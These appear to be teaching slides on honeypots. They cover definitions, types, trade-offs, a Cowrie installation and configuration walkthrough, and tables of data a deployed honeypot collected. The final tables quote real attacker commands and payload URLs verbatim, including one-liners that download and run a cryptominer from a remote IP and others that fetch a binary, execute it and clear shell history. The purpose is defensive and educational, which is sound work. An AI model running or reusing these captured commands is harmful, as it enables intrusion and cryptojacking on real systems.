

# HoneyPots

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# Outline

1. Introduction
2. Network Intrusion Detection
3. HoneyPots
  - Definition
  - Brief History
  - Purpose
4. HoneyPot Types
  - Classification
  - Advantages & Disadvantages
5. Related Research
6. Exercise example

# Network Intrusion Detection

# Network Intrusion Detection

The goal of an Intrusion Detection System (IDS) is to "identify, preferably in real time, unauthorized use, misuse, and abuse of computer systems by both system insiders and external penetrators [1]

Used as an alternative (or a complement) to building a shield around the network.

# Network Intrusion Detection

## .....HoneyPots

# Definition & Brief History

A honeypot is an information system resource placed intentionally on a network whose value lies in unauthorized or illicit use of that resource.

A honeypot is a decoy system or a simulated application which simulates an entire network to lure attacker by disguising itself with popular vulnerabilities

# Purpose


- Information gathering and early warnings of attacks are the primary benefits to most organizations.
- The Honeypot is designed to resemble a normal network resource so as to entice attackers.
- The resource itself has no production value or authorized activity and there's no reason why any normal user would access this system.
- Any interaction with the honeypot is most likely a signifier of malicious intent.

# Types

- High Interaction
  - Medium Interaction
  - Low Interaction
- 
- Server Honeypots
  - Client Honeypots




# Honeynets



- Data Control
- Data Capture
- Data Collection

# Honeynet Classification



# Advantages & Disadvantages

- Advantages
  - Fewer false positives since no legitimate traffic uses honeypot
  - Collect smaller, higher-value, datasets since they only log illegitimate activity
  - Work in encrypted environments
  - Do not require known attack signatures, unlike IDS
- Disadvantages
  - Can be used by attacker to attack other systems
  - Only monitor interactions made directly with the honeypot - the honeypot cannot detect attacks against other systems
  - Can potentially be detected by the attacker

# Honeypot Options

Open source Options (not exhaustive list):

- Cowrie
- Dionaea
- HoneyD
- Glastopf

# Related Research on Honeypots

Some recent (ish) research on the topic for further reading:

- Harikrishnan et al. (2022) [6]
- Kemppainen and Kovanen (2018) [7]
- Nursetyo, Rachmawanto and Sari (2019) [8]
- Memari, Hashim and Samsudin (2015) [9]
- Moon et al. (2012) [10]
- Haltaş et al. (2014) [11]
- Vishwakarma and Jain (2019) [12]

# Example Installation (Cowrie)

```
honeypotinstallation@ubuntu:~$ sudo apt-get install -y git python3-  
virtualenv libssl-dev libffi-dev build-essential libpython3-dev python3-  
minimal authbind virtualenv
```

```
honeypotinstallation@ubuntu:~$ sudo adduser --disabled-password  
cowrie
```

```
honeypotinstallation@ubuntu:~$ sudo su - cowrie
```

```
cowrie@ubuntu:~$ git clone http://github.com/cowrie/cowrie
```

```
cowrie@ubuntu:~$ cd cowrie
```

Note: Current version is 2.5, but we will be using 2.4

# Example Installation (Cowrie)

```
cowrie@ubuntu:~/cowrie/etc$ nano cowrie.cfg
```

```
[honeypot]
```

```
hostname = cowrieInstallation (the hostname could be anything else.)
```

```
[SSH]
```

```
listen_endpoints = tcp:22:interface=0.0.0.0 (change default SSH port from 2223 to 23)
```

```
[telnet]
```

```
enabled = true (enable telnet by changing from false to true)
```

```
listen_endpoints = tcp:23:interface=0.0.0.0 (change default telnet port from 2223 to 23)
```

# Example Installation (Cowrie)

```
honeypotinstallation@ubuntu:~$ sudo apt get install authbind
honeypotinstallation@ubuntu:~$ sudo touch /etc/authbind/byport/22
honeypotinstallation@ubuntu:~$ sudo chown cowrie:cowrie
/etc/authbind/byport/22
honeypotinstallation@ubuntu:~$ sudo chmod 770
/etc/authbind/byport/22
honeypotinstallation@ubuntu:~$ sudo touch /etc/authbind/byport/23
honeypotinstallation@ubuntu:~$ sudo chown cowrie:cowrie
/etc/authbind/byport/23
honeypotinstallation@ubuntu:~$ sudo chmod 770
/etc/authbind/byport/23
```



# Example Installation (Cowrie)

```
honeypotinstallation@ubuntu:~$ sudo apt-get install ssh
honeypotinstallation@ubuntu:~$ sudo nano /etc/ssh/sshd_config
honeypotinstallation@ubuntu:~$ sudo systemctl restart sshd
honeypotinstallation@ubuntu:~$ sudo su - cowrie
cowrie@ubuntu:~$ cd /home/cowrie/cowrie
cowrie@ubuntu:~/cowrie$ bin/cowrie start

cowrie@ubuntu:~/cowrie$ bin/cowrie status
cowrie@ubuntu:~/cowrie$ bin/cowrie stop
```

# Customisation to decrease detection

Configuration File  
(**./etc/cowrie.cfg**):

Pickle Filesystem  
(**./share/cowrie/fs.pickle**):


Filesystem  
(**./honeyfs**):

```
kali@kali: ~/Downloads
File Actions Edit View Help
(kali@kali)~[~/Downloads]
$ python3 ./cowrie_detect.py 35.178.212.248 -u root -port 22 -p nproc
Connecting to 35.178.212.248 with username "root" and password "nproc"
Connected!
Executing commands..
Running Nmap Scan...
[!!] Nmap could not scan host. Is nmap installed?
Retrieving a sanitized OUI file from "https://linuxnet.ca/".
This may take a minute.
[!!] Could not retrieve the OUI file. Skipping MAC address testing.
[OK] OS does not match with default.
[OK] uname command does not similar version to default.
[OK] Memory information is not similar.
[OK] Mounts is different to default.
[OK] CPU name is different to default.
[OK] User "phil" not found in group file.
[OK] User "phil" not found in passwd file.
[OK] User "phil" not found in shadow file.
[OK] Common host "nas3" does not exist in hosts file.
[OK] Hostname is not "svr04" in hostname file.
[OK] OS Issue is different to default in issue file.


Total Score: 0 / 110 (0.0%)
Verdict: Zero score! If this was a honeypot, I'd be fooled!

(kali@kali)~[~/Downloads]
$
```



# Deployment (example)



# Deployment (Cowrie example)



# Deployment (Cowrie example)



# Example Data Collection

## Comparison of Attacker Origins by Region

UNITED KINGDOM		CHINA		UNITED STATES	
Origin of Attack	Count	Origin of Attack	Count	Origin of Attack	Count
United States	281,125	United States	12,541	Russia	592,794
Vietnam	5,071	Mexico	5,387	United States	123,540
Monaco	1,422	Russia	5,296	China	27,078
South Korea	1,319	China	4,167	Netherlands	10,860
Russia	1,314	Vietnam	3,506	Vietnam	8,748
Germany	1,302	Germany	2,062	Monaco	6,846
Netherlands	1,063	Netherlands	1,192	Germany	3,048
China	706	United Kingdom	967	South Korea	1,986
Spain	434	South Korea	720	Taiwan	1,044
Switzerland	337	Monaco	457	France	864
Japan	255	India	259	Argentina	810

# Example Data Collection

## Major Destinations of Outgoing Requests

United States (North California)			United Kingdom (London)			China (Hong Kong)	
Destination IP	Count		Destination IP	Count		Destination IP	Count
work.a-poster.info	37,518		159.65.2.87	855		ip-who.com	420
ya.ru	30,108		ip-who.com	741		google.com	380
api.sypexgeo.net	29,220		google.com	4		34.117.59.81	233
m.youtube.com	19,920		188.114.96.0	2		142.250.74.68	76
www.google.com	19,062					142.251.1.100	70
ru.wargaming.net	6,228					142.251.1.138	66

# Example Data Collection

## Major Destinations of Outgoing URLs

United States		United Kingdom		China	
Destination URL	C o u n t	Destination URL	C o u n t	Destination URL	C o u n t
http://45.90.161.105/systemd	4 , 2 9 0	http://45.90.160.54/onion002	7 0 0	http://45.90.160.54/onion002	6 1 7
https://dijkstra.do.am/files/test	3 , 7 2 0	http://45.90.161.105/systemd	5 2 8	http://45.90.161.105/systemd	5 5 1
http://45.90.160.54/onion002	2 , 4 8 4	ftp://anonymous:anonymous@45.90.160.54/.sh	3 5 0	ftp://anonymous:anonymous@45.90.160.54/.sh	2 8 1
http://208.115.245.158/c	2 , 1 6 6	http://208.115.245.158/c	1 3 8	http://164.92.142.65/irc.pl	1 8 6



# Example Data Collection

## Top SSH and Telnet Source IPs

US			China			UK		
Prot ocol	Source IP	Cou nt	Prot ocol	Source IP	Cou nt	Prot ocol	Source IP	Cou nt
ssh	5.188.62.245	26,736	ssh	212.143.172.131	19,109	ssh	35.193.180.130	33,764
ssh	191.131.172.132	10,338	ssh	61.177.173.31	4,646	ssh	103.226.250.196	431
ssh	221.10.33.104	6,522	ssh	189.215.80.78	720	ssh	34.142.165.36	404
ssh	5.188.62.249	6,276	ssh	218.92.0.204	271	ssh	207.154.253.68	205
ssh	5.188.62.193	3,834	ssh	92.255.85.237	265	ssh	161.35.158.67	205
telnet	36.104.140.175	822	telnet	45.61.184.73	207	telnet	91.99.195.20	239
telnet	124.225.162.249	654	telnet	114.234.216.239	171	telnet	188.215.61.240	205
telnet	182.131.28.65	354	telnet	116.253.27.149	112	telnet	164.77.84.142	100
telnet	152.136.194.103	264	telnet	2.56.59.37	105	telnet	165.232.80.170	41
telnet	159.203.29.42	246	telnet	120.85.118.22	95	telnet	124.225.162.249	31

# Example Data Collection

## Top File Downloads with Virus Total Rate of Detection

CHINA		
File Directory and SHA-256 Hash Values	Count China	Virus Total Detection Rate
var/lib/cowrie/downloads/ea3c223fef8527593c5eac2a29bb1c1b9365eda558c82a99a263772b27583a8f	321	33/58
var/lib/cowrie/downloads/3e81750806950bdb1559ef90df2954c8e89bf802e9be5d290f9657742cd7759f	186	29/57
var/lib/cowrie/downloads/5f6440581ccbac424c11e7a0f13667915029f6971e27f70ec43dd4837d4fd941	168	30/58
var/lib/cowrie/downloads/bf8dc5eca570a1a0d702303547b736cf9df54c31745dde90dfc429580c0cc28	126	35/62
var/lib/cowrie/downloads/9e93db2778dc739a1a8c978661874af652584e700fec4fff86aac6dbeac9d18d	86	0/61
var/lib/cowrie/downloads/977bba207cafa8ad195c7b3c23411bb514dcec5dfc1367e07f1adb5a6672430f	48	35/58
var/lib/cowrie/downloads/79fd29eaec8f5265e9fc7e3b81e062a53dcdddedeed48a405374ace83db8ae20	47	29/58
var/lib/cowrie/downloads/1a526fe7b74ec36ef2facd3588e12b6acbde9c205bd224f7a1d7c54153c2afec	31	31/55
var/lib/cowrie/downloads/6ad155e8d3ff8c11b94fc2d169006642c4517bedfe3adcab3c56e13aec7821ab	11	21/59
var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2	11	17/59

# Example Data Collection

## Top commands entered during a SSH session

Input Command	Count
	68,358
wget http://45.90.161.105/systemd && chmod +x * && ./systemd -o de.minexmr.com:443 -B -u 8BHQUnQHax1XjPonUxPKk1H4EKP6SdXnMtyyY5W9Bts7qM7uq5XsjjXiPj1zacMGP8chCv4cumYZRYfH5cUBGshKy1gssW -k --tls --rig-id Main	1,674
wget http://45.90.161.105/systemd && chmod +x * && ./systemd -o de.minexmr.com:443 -B -u 8BHQUnQHax1XjPonUxPKk1H4EKP6SdXnMtyyY5W9Bts7qM7uq5XsjjXiPj1zacMGP8chCv4cumYZRYfH5cUBGshKy1gssW -k --tls --rig-id Main && rm -rf *	1,644
cd /tmp ; wget http://208.115.245.158/c --no-check-certificate; curl -O http://208.115.245.158/c ; chmod 777 c* ; ./c ; rm -rf -c* ; history -c	828
shell	792
system	756
sh	414
enable	390
dd bs=52 count=1 if=.s    cat .s    while read i; do echo \$i; done < .s	342
while read i	342
rm .s; exit	336
wget 23.94.22.13/x86_64; chmod 777 x86_64; ./x86_64 wns.x86	312
yum install wget -y; apt install wget -y; cd /tmp; rm -rf x86.sh; wget http://2.56.56.182/x86.sh; chmod 777 *; sh x86.sh	228
uname -a	96
echo -e "\x6F\x6B"	90
/ip cloud print	84

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